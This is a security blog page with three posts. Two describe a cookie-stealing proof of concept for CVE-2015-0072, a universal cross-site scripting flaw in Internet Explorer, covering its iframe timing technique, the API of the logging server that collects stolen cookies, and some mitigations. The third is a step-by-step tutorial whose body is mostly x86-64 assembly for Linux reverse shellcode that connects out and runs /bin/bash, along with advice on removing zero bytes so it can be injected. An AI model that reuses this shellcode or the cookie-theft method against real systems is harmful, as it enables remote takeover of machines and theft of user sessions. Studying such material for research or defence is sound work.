Daniele Bellavista's Blog

Security, IT, Projects

Improvement of PoC for CVE-2015-0072 — 2015-02-22

Improvement of PoC for CVE-2015-0072

In the last post I described the CVE-2015-0072 vulnerability and proposed a PoC for sequentialy stealing cookies from multiple websites. The downside is the required time, which is about 5-7 seconds for each website.

Today I improved the PoC, reducing the time necessary for the exploit to work (about 1 second per website).


  • if0: iframe sourcing the target websites
  • if1: iframe sourcing a local redirector API and executing the blocking script.
In order for the exploit to work, the following actions must be performed in the correct order:
  1. Execution inside if1 of the blocking script. This is done by executing an eval().
  2. Redirect of the if1 location to the same domain of if0.
  3. Resume of the if1 script and javascript injection into if0 location.
The first PoC (as well as my multi target PoC), solved this synchronization problem by delaying the redirect of t1 > 0, so that the eval() could be performed before the redirect, and by blocking the script for t2 > t1.


Instead of using sleeps (or timeouts), I tried with a simple server-side synchronization.
Given the following API:
  • /r/:rand/:id – Redirect to the target site id. rand is the internal session identifier.
  • /d/:rand/:id – Delay the execution for the session rand and the target site id. This API is used to implement the blocking script.
  • /l – Log the query parameters (actual cookie stealing).
This solution can be very fast and will allow to steal cookies from various target websites. During my tests, I need to introduce a little sleep of 500ms (d’oh) between the redirect and the return from delay. However compared to the previous 5000 sec, it’s a big improvement!
The source code can be found at: https://github.com/dbellavista/uxss-poc
UXSS multiple targets PoC (CVE-2015-0072) —

UXSS multiple targets PoC (CVE-2015-0072)

More than twenty days ago, the first PoC for CVE-2015-0072 was released and as of 22 February 2015 it sill affects Internet Explorer 10 and 11 on both Windows 7 and Windows 8.1.

Today I had some free hours and I decided to understand better the exploit and to create a PoC by myself.


Basically the vulnerability allows a javascript code to bypass the Same Origin Policy, by executing a synchronous script on an iframe while redirecting its own location. The steps are the following:

  • Choose the target website (e.g.: http://target.com/).
  • Create an iframe (if0) to sorce to the target website.
  • Create an iframe (if1) sourcing a page from your domain which redirect to the target website after some time (say 2 seconds).
  • Execute from if1 a blocking script that after a longer period of time (say 5 seconds) executes some javascript code inside if0. UPDATE: Javascript must be injected by changing the location of if0, e.g. if0.location=”javascript:alert(‘Injected!’);” 
UXSS Exploting

The first PoC[1] implements the blocking operation using the confirm function (requiring user interaction) and modifies the content of the target webpaged (defacement effect). The PoC in [2] uses a synchronous HTTP GET as delay and steals the cookies from the target website.


To get my hands dirty, I decided to evolve the PoC in [2], by allowing the attacker to retrieve sequentially the cookies from multiple target websites. The source code is available at [4].

The idea is to create an exploit iframe. When loaded, it loads if0 and if1 for a certain target site. By introducing multiple exploit iframes an attacker can effectively retrieve the cookies from multiple domains.

Of course the process is highly ineffective: n * t, where n is the number of targeted sites and t the execution delay (5 seconds in this example). However, if the iframes are loaded after the page content, it’s possibile to execute the exploits in “background”: the user see the attacker page content, while the iframes do their work.

The major mitigation against CVE-2015-0072) is to set the HTTP header x-frame-option: DENY. However, as explained in [3], it doesn’t protect the website from reading cookies! The only mitigation is to set HttpOnly option and to invalidate the session cookie when the IP address changes.


  • [1] First PoC: http://www.deusen.co.uk/items/insider3show.3362009741042107/
  • [2] Advanced PoC: http://packetstormsecurity.com/files/130308/Microsoft-Internet-Explorer-Universal-XSS-Proof-Of-Concept.html
  • [3] Defence analysis: http://sijmen.ruwhof.net/weblog/427-mitigations-against-critical-universal-cross-site-scripting-vulnerability-in-fully-patched-internet-explorer-10-and-11
  • [4] My PoC: https://github.com/dbellavista/uxss-poc
A 64 bits reverse shellcode — 2013-01-06

A 64 bits reverse shellcode

More bits equals more fun!
I’m sure a similar approach is possible also in 32 bit mode, but as the sacred linux man says: 
“Only standard library implementors and kernel hackers need to know about socketcall()”.

Technically, in this very moment, we are not kernel hackers, so let’s use 64 bits syscalls socket() and connect().

0. Introduction

The desired behaviour of a  reverse shellcode is:

  1. Create a socket using tcp/udp or you favourite kernel-supported protocol.
  2. Connect to your server.
  3. Duplicate the socket file descriptor into the standard input and standard output one’s.
  4. Exec a shell.

1. sys_socket(int domain, int type, int protocol) — 41

Using man and header files and , we can easily determine the parameters: 

  • domain: AF_INET = PF_INET = 2
  • type: SOCK_STREAM = 1
  • protocol: 0
The return value is the file descriptor.

 ; asmlinkage long sys_socket(int domain, int type, int protocol);  
mov rdi, 2 ; AF_INET => PF_INET => 2 ;;; /usr/include/bits/socket.h
mov rsi, 1 ; SOCK_STREAM => 1 ;;; /usr/include/bits/socket_type.h
mov rdx, 0
mov rax, 41
; now rax contains the fd

2. sys_connect(int fd, struct sockaddr user *, int addrlen) — 42

The boring part consists in manually define the sockaddr_in structure:

 struct sockaddr_in {  
short sin_family; // AF_INET (2)
unsigned short sin_port; // in network byte order (htons())
struct in_addr sin_addr; // As 32 bit
char sin_zero[8];

Example for connection to

 sockaddr db 2,0,0x04,0xd2,0x7f,0x00,0x00,0x01,0,0,0,0,0,0,0,0  

Using the new shiny relative IP addressing, we can easly write the asm code:

 ; asmlinkage long sys_connect(int fd, struct sockaddr __user *, int addrlen);  
mov rdi, rax ; fd
lea rsi, [rel sockaddr] ; Socket address inet
mov rdx, 16 ; sock_addr_in size
mov rax, 42

3. sys_dup2(unsigned int oldfd, unsigned int newfd) — 33

“Crepi l’avarizia!” We’ll duplicate stdin, stdout and stderr.

 ; asmlinkage long sys_dup2(unsigned int oldfd, unsigned int newfd);  
; check if rdi contains the fd
mov rsi, 2 ; stderr
mov rax, 33
mov rsi, 1 ; stdout
mov rax, 33
mov rsi, 0 ; stdin
mov rax, 33

4. kernel_execve(const char *filename, const char *const argv[], const char *const envp[]) — 59

The final step is to execute a shell:

 ; int kernel_execve(const char *filename, const char *const argv[], const char *const envp[]);  
lea rdi, [rel filename]
lea rsi, [rel args]
mov rdx, 0
mov [rel args], rdi
mov [rel args+8], rdx
mov rax, 59
filename db '/bin/bash',0
args times 2 dq 1 ; nasm syntax

5. Conclusions

If the shellcode has to be injected as string, a zero-byte elimination process must be performed, but it’s quite straightforward.

Due to the high number of the syscalls needed,  the shellcode is really big and maybe of difficult usage, but of couse it’s all for academic purposes.